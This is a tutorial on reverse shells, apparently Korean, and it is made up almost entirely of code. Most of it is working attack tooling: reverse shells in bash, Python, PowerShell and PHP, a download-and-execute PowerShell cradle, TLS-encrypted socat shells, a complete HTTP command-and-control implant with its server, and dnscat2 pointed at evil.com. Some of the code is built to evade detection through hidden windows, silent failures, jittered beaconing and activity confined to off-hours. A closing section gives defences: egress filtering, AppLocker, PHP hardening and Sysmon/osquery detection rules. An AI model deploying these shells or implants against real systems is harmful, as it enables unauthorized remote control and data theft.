리버스 셸의 이해

# Netcat을 사용한 기본 리스너 설정 (포트 4444)
nc -lvnp 4444

# -l: 리스닝 모드 (Listen mode)
# -v: 상세 출력 (Verbose output)
# -n: DNS 해석 비활성화 (No DNS resolution)
# -p: 포트 지정 (Port specification)

bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

# Netcat 리스너 (전통적 방법)
nc -lvnp 4444

# Ncat 리스너 (Nmap 패키지, 더 많은 옵션)
ncat -lvnp 4444 --ssl  # SSL/TLS 암호화 지원

# Socat 리스너 (고급 소켓 릴레이)
socat TCP-LISTEN:4444,reuseaddr,fork -

# Metasploit multi/handler (자동화된 세션 관리)
msfconsole -q -x "use exploit/multi/handler; set payload linux/x86/shell_reverse_tcp; set LHOST 10.10.10.5; set LPORT 4444; exploit"

import socket
import subprocess
import os

def reverse_shell(attacker_ip, attacker_port):
    try:
        # TCP 소켓 생성 및 연결
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((attacker_ip, attacker_port))

        # 소켓을 표준 입출력 파일 디스크립터로 복제
        os.dup2(s.fileno(), 0)  # stdin
        os.dup2(s.fileno(), 1)  # stdout
        os.dup2(s.fileno(), 2)  # stderr

        # 대화형 셸 실행
        subprocess.call(["/bin/bash", "-i"])
    except Exception as e:
        # 오류 발생 시 조용히 종료 (탐지 회피)
        pass
    finally:
        s.close()

if __name__ == "__main__":
    reverse_shell("10.10.10.5", 4444)

import socket
import subprocess
import os

def windows_reverse_shell(attacker_ip, attacker_port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((attacker_ip, attacker_port))

        # Windows에서는 cmd.exe 또는 powershell.exe 사용
        # CREATE_NO_WINDOW 플래그로 창 생성 방지
        subprocess.Popen(
            ["powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass"],
            stdin=s.fileno(),
            stdout=s.fileno(),
            stderr=s.fileno(),
            creationflags=subprocess.CREATE_NO_WINDOW
        )
    except:
        pass

if __name__ == "__main__":
    windows_reverse_shell("10.10.10.5", 4444)

import socket
import subprocess
import os
import time

def persistent_reverse_shell(attacker_ip, attacker_port, retry_interval=60):
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((attacker_ip, attacker_port))

            os.dup2(s.fileno(), 0)
            os.dup2(s.fileno(), 1)
            os.dup2(s.fileno(), 2)

            subprocess.call(["/bin/bash", "-i"])
        except:
            # 연결 실패 시 대기 후 재시도
            time.sleep(retry_interval)
        finally:
            try:
                s.close()
            except:
                pass

if __name__ == "__main__":
    persistent_reverse_shell("10.10.10.5", 4444, retry_interval=300)

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/shell.ps1')"

# Invoke-PowerShellTcp.ps1 from Nishang
function Invoke-PowerShellTcp
{
    param(
        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int]
        $Port
    )

    try
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target."
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()
        }
        $client.Close()
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the IP address and port are correct and the server is running."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -IPAddress 10.10.10.5 -Port 4444

<?php
set_time_limit(0);
$ip = '10.10.10.5';  // Attacker IP
$port = 4444;         // Attacker Port

$sock = fsockopen($ip, $port);
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open('/bin/bash', $descriptorspec, $pipes, null, null);

if (is_resource($process)) {
    fwrite($pipes[0], "cd /tmp\n");
    fclose($pipes[0]);

    while (!feof($pipes[1])) {
        $output = fgets($pipes[1], 1024);
        fwrite($sock, $output);
    }

    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
}

fclose($sock);
?>

# 공격자 측 - SSL/TLS 인증서 생성 및 리스너 설정
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes \
    -subj "/C=US/ST=California/L=San Francisco/O=Example Corp/CN=example.com"

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

# 대상 측 - 암호화된 리버스 셸
mkfifo /tmp/s
/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.5:443 > /tmp/s
rm /tmp/s

# 공격자 측 - 서버 인증서 및 클라이언트 인증서 생성
openssl genrsa -out server.key 2048
openssl req -new -key server.key -x509 -days 365 -out server.crt -subj "/CN=C2Server"
openssl genrsa -out client.key 2048
openssl req -new -key client.key -x509 -days 365 -out client.crt -subj "/CN=ImplantClient"

# 공격자 측 - Socat SSL 리스너 (클라이언트 인증서 요구)
socat OPENSSL-LISTEN:443,reuseaddr,cert=server.crt,key=server.key,cafile=client.crt,verify=1 -

# 대상 측 - Socat SSL 리버스 셸
socat EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane \
    OPENSSL-CONNECT:10.10.10.5:443,cert=client.crt,key=client.key,cafile=server.crt,verify=1

import requests
import subprocess
import time
import base64

C2_SERVER = "http://10.10.10.5:8080"
POLL_INTERVAL = 5  # 5초마다 명령어 확인

while True:
    try:
        # C2 서버에 명령어 요청
        response = requests.get(f"{C2_SERVER}/cmd", timeout=3)

        if response.status_code == 200 and response.text:
            command = base64.b64decode(response.text).decode()

            # 명령어 실행 및 결과 수집
            result = subprocess.run(
                command,
                shell=True,
                capture_output=True,
                text=True,
                timeout=30
            )

            output = result.stdout + result.stderr
            encoded_output = base64.b64encode(output.encode()).decode()

            # 결과를 C2 서버로 전송
            requests.post(
                f"{C2_SERVER}/result",
                data={"output": encoded_output},
                timeout=3
            )
    except:
        pass

    time.sleep(POLL_INTERVAL)

from flask import Flask, request
import base64

app = Flask(__name__)
pending_command = ""
command_results = []

@app.route('/cmd', methods=['GET'])
def get_command():
    global pending_command
    encoded = base64.b64encode(pending_command.encode()).decode()
    pending_command = ""  # 명령어 전송 후 초기화
    return encoded

@app.route('/result', methods=['POST'])
def receive_result():
    output = request.form.get('output', '')
    decoded = base64.b64decode(output).decode()
    command_results.append(decoded)
    print(f"[+] Received result:\n{decoded}")
    return "OK"

@app.route('/admin', methods=['GET', 'POST'])
def admin_panel():
    global pending_command
    if request.method == 'POST':
        pending_command = request.form.get('cmd', '')
        return f"Command queued: {pending_command}"
    return '''
    <form method="post">
        <input type="text" name="cmd" placeholder="Enter command">
        <input type="submit" value="Send">
    </form>
    '''

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

# 공격자 측 - dnscat2 서버 실행
ruby dnscat2.rb evil.com

# 대상 측 - dnscat2 클라이언트 실행
./dnscat evil.com

import time
import random
import socket
import subprocess

def beaconing_shell(c2_ip, c2_port, base_interval=300, jitter_percent=30):
    """
    base_interval: 기본 대기 시간 (초)
    jitter_percent: 랜덤 변동 비율 (%)
    """
    while True:
        try:
            # 불규칙한 대기 시간 계산
            jitter = base_interval * (jitter_percent / 100.0)
            sleep_time = base_interval + random.uniform(-jitter, jitter)

            time.sleep(sleep_time)

            # C2 서버 연결 시도
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((c2_ip, c2_port))

            # 셸 명령 수신 및 실행
            command = s.recv(4096).decode()
            if command:
                result = subprocess.run(
                    command,
                    shell=True,
                    capture_output=True,
                    text=True,
                    timeout=60
                )
                s.sendall((result.stdout + result.stderr).encode())

            s.close()
        except:
            # 연결 실패는 조용히 무시
            pass

if __name__ == "__main__":
    beaconing_shell("10.10.10.5", 4444, base_interval=600, jitter_percent=40)

from datetime import datetime

def is_working_hours():
    """업무 시간 외에만 활동 (평일 18:00-09:00, 주말 전체)"""
    now = datetime.now()
    weekday = now.weekday()  # 0=월요일, 6=일요일
    hour = now.hour

    # 주말 (토요일, 일요일)
    if weekday >= 5:
        return True

    # 평일 야간 (18:00-09:00)
    if hour < 9 or hour >= 18:
        return True

    return False

def time_aware_shell(c2_ip, c2_port):
    while True:
        if not is_working_hours():
            # 업무 시간에는 1시간 대기
            time.sleep(3600)
            continue

        # 비업무 시간에만 연결 시도
        try:
            # ... 리버스 셸 로직 ...
            pass
        except:
            pass

        time.sleep(600)  # 10분 간격

# iptables 이그레스 필터링 예시 (Linux)
# 기본 정책: 모든 아웃바운드 연결 차단
iptables -P OUTPUT DROP

# 허용할 아웃바운드 연결만 명시적으로 허용
# DNS 서버 (내부 DNS)
iptables -A OUTPUT -p udp -d 192.168.1.10 --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -d 192.168.1.10 --dport 53 -j ACCEPT

# HTTP/HTTPS (프록시 서버 경유)
iptables -A OUTPUT -p tcp -d 192.168.1.100 --dport 8080 -j ACCEPT

# NTP 서버 (시간 동기화)
iptables -A OUTPUT -p udp -d 192.168.1.20 --dport 123 -j ACCEPT

# 로깅: 차단된 아웃바운드 연결 기록
iptables -A OUTPUT -j LOG --log-prefix "EGRESS-DROPPED: " --log-level 4

# /etc/squid/squid.conf
# SSL Bump 설정 (HTTPS 검사)
http_port 3128 ssl-bump cert=/etc/squid/ssl/proxy.crt key=/etc/squid/ssl/proxy.key

ssl_bump peek all
ssl_bump bump all

# 차단할 도메인 카테고리 (C2 서버, 익명화 프록시 등)
acl blocked_domains dstdomain "/etc/squid/blocked_domains.txt"
http_access deny blocked_domains

# 허용된 사용자만 프록시 사용 가능
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwd
acl authenticated_users proxy_auth REQUIRED
http_access allow authenticated_users

# 로깅
access_log /var/log/squid/access.log squid

# /etc/bind/named.conf.options
logging {
    channel query_log {
        file "/var/log/bind/query.log" versions 5 size 50m;
        severity info;
        print-time yes;
        print-category yes;
    };
    category queries { query_log; };
};

# PowerShell 스크립트 실행 제한
New-AppLockerPolicy -RuleType Publisher -Path * -User Everyone -Action Deny \
    -PublisherCondition "O=Microsoft Corporation, L=Redmond, S=Washington, C=US" \
    -ProductName "Windows PowerShell" \
    -BinaryVersionRange "10.0.0.0-10.9.9.9"

# 특정 디렉토리의 실행 파일만 허용
New-AppLockerPolicy -RuleType Path -Path "C:\Program Files\*" -User Everyone -Action Allow
New-AppLockerPolicy -RuleType Path -Path "C:\Windows\*" -User Everyone -Action Allow

; 위험한 함수 비활성화
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert,create_function

; open_basedir 제한 (웹 루트 외부 접근 차단)
open_basedir = /var/www/html:/tmp

; 파일 업로드 제한
file_uploads = Off
upload_max_filesize = 2M

# /etc/fstab 설정
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0

# 즉시 재마운트
mount -o remount,noexec,nosuid,nodev /tmp
mount -o remount,noexec,nosuid,nodev /var/tmp
mount -o remount,noexec,nosuid,nodev /dev/shm

<Sysmon schemaversion="4.81">
  <EventFiltering>
    <!-- Process Creation with Network Connection -->
    <RuleGroup name="Reverse Shell Detection" groupRelation="or">
      <ProcessCreate onmatch="include">
        <!-- PowerShell with network arguments -->
        <Rule name="PowerShell Network Connection" groupRelation="and">
          <Image condition="end with">powershell.exe</Image>
          <CommandLine condition="contains any">Net.Sockets;TCPClient;GetStream</CommandLine>
        </Rule>

        <!-- cmd.exe spawned by web server -->
        <Rule name="Web Server Spawning Shell" groupRelation="and">
          <Image condition="end with">cmd.exe</Image>
          <ParentImage condition="contains any">w3wp.exe;httpd.exe;nginx.exe;php-cgi.exe</ParentImage>
        </Rule>
      </ProcessCreate>

      <!-- Network Connection by Shell Process -->
      <NetworkConnect onmatch="include">
        <Image condition="end with">cmd.exe</Image>
        <Image condition="end with">powershell.exe</Image>
        <Image condition="end with">bash</Image>
        <Image condition="end with">sh</Image>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

-- 비정상적인 셸 프로세스의 네트워크 연결
SELECT
    p.pid,
    p.name,
    p.path,
    p.cmdline,
    p.parent,
    ps.remote_address,
    ps.remote_port,
    ps.local_port
FROM
    processes p
JOIN
    process_open_sockets ps ON p.pid = ps.pid
WHERE
    (p.name LIKE '%bash%' OR p.name LIKE '%sh%' OR p.name LIKE '%cmd.exe%' OR p.name LIKE '%powershell.exe%')
    AND ps.remote_address != '127.0.0.1'
    AND ps.remote_address != '::1';

-- 웹 서버 프로세스의 자식 프로세스 확인
SELECT
    p1.name AS parent_name,
    p1.pid AS parent_pid,
    p2.name AS child_name,
    p2.pid AS child_pid,
    p2.cmdline AS child_cmdline
FROM
    processes p1
JOIN
    processes p2 ON p1.pid = p2.parent
WHERE
    p1.name IN ('apache2', 'httpd', 'nginx', 'w3wp.exe', 'php-fpm')
    AND p2.name IN ('bash', 'sh', 'cmd.exe', 'powershell.exe', 'python', 'perl');